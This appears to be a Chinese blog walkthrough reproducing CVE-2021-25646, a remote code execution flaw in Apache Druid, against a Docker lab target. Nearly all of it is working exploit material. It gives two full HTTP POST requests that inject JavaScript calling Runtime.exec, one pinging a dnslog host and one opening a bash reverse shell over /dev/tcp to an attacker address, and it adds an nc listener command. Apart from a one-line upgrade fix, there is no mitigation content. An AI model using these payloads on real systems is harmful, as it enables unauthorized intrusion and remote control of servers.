CVE-2021-25646：Apache Druid RCE远程代码执行复现

--学如逆水行舟，不进则退

每天学习一些知识来充实自己，今天再来复现一个漏洞

0x01 漏洞简介

Apache Druid是美国阿帕奇软件（Apache）基金会的一款使用Java语言编写的、面向列的开源分布式数据库。

Apache Druid 默认情况下缺乏授权认证，攻击者可以发送特制请求，利用Druid服务器上进程的特权执行任意代码。

0x02 影响版本

影响版本： Apache Druid < 0.20.1
安全版本： Apache Druid 0.20.1

0x03 漏洞复现

攻击机:win10

靶机:Centos7

    1.环境搭建

docker pull fokkodriesprong/docker-druid #拉取镜像
docker run --rm -i -p 8888:8888  fokkodriesprong/docker-druid #启动镜像

 

 

访问靶机ip:8888，出现以下页面，说明搭建成功 

 2.win10开始攻击

   使用bp抓包，并且通过dnslog测试是否可以回显(也就是是否可以代码执行)

POC      （poc中的ping 后面的dnslog地址注意更换） (HOST以及Referer处ip也要改成目标ip)

POST /druid/indexer/v1/sampler?for=filter HTTP/1.1
Host: 192.168.166.129:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Content-Length: 556
Origin: http://192.168.46.131:8888
Connection: close
Referer: http://192.168.166.129:8888/unified-console.html

{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"/opt/","filter":""}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript",
"function":"function(value){return java.lang.Runtime.getRuntime().exec('ping n5ianx.dnslog.cn')}",
"dimension":"added",
"":{
"enabled":"true"
}
}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000}}

 抓包后,发现可以回显，也就是说可以远程代码执行 

  反弹shell

 POC （同上一样，只是把ping命令转换为反弹shell的命令）

POST /druid/indexer/v1/sampler?for=filter HTTP/1.1
Host: 192.168.166.129:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Content-Length: 556
Origin: http://192.168.46.131:8888
Connection: close
Referer: http://192.168.166.129:8888/unified-console.html

{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"/opt/","filter":""}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript",
"function":"function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/xxx.xxx.xxx.xxx/1122 0>&1')}",
"dimension":"added",
"":{
"enabled":"true"
}
}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000}}

nc监听端口 

nc -lvvp 1122

构造数据包发送，发现反弹成功 

 

 

0x04 漏洞修复

把Apache Drui更新为安全版本或最新版本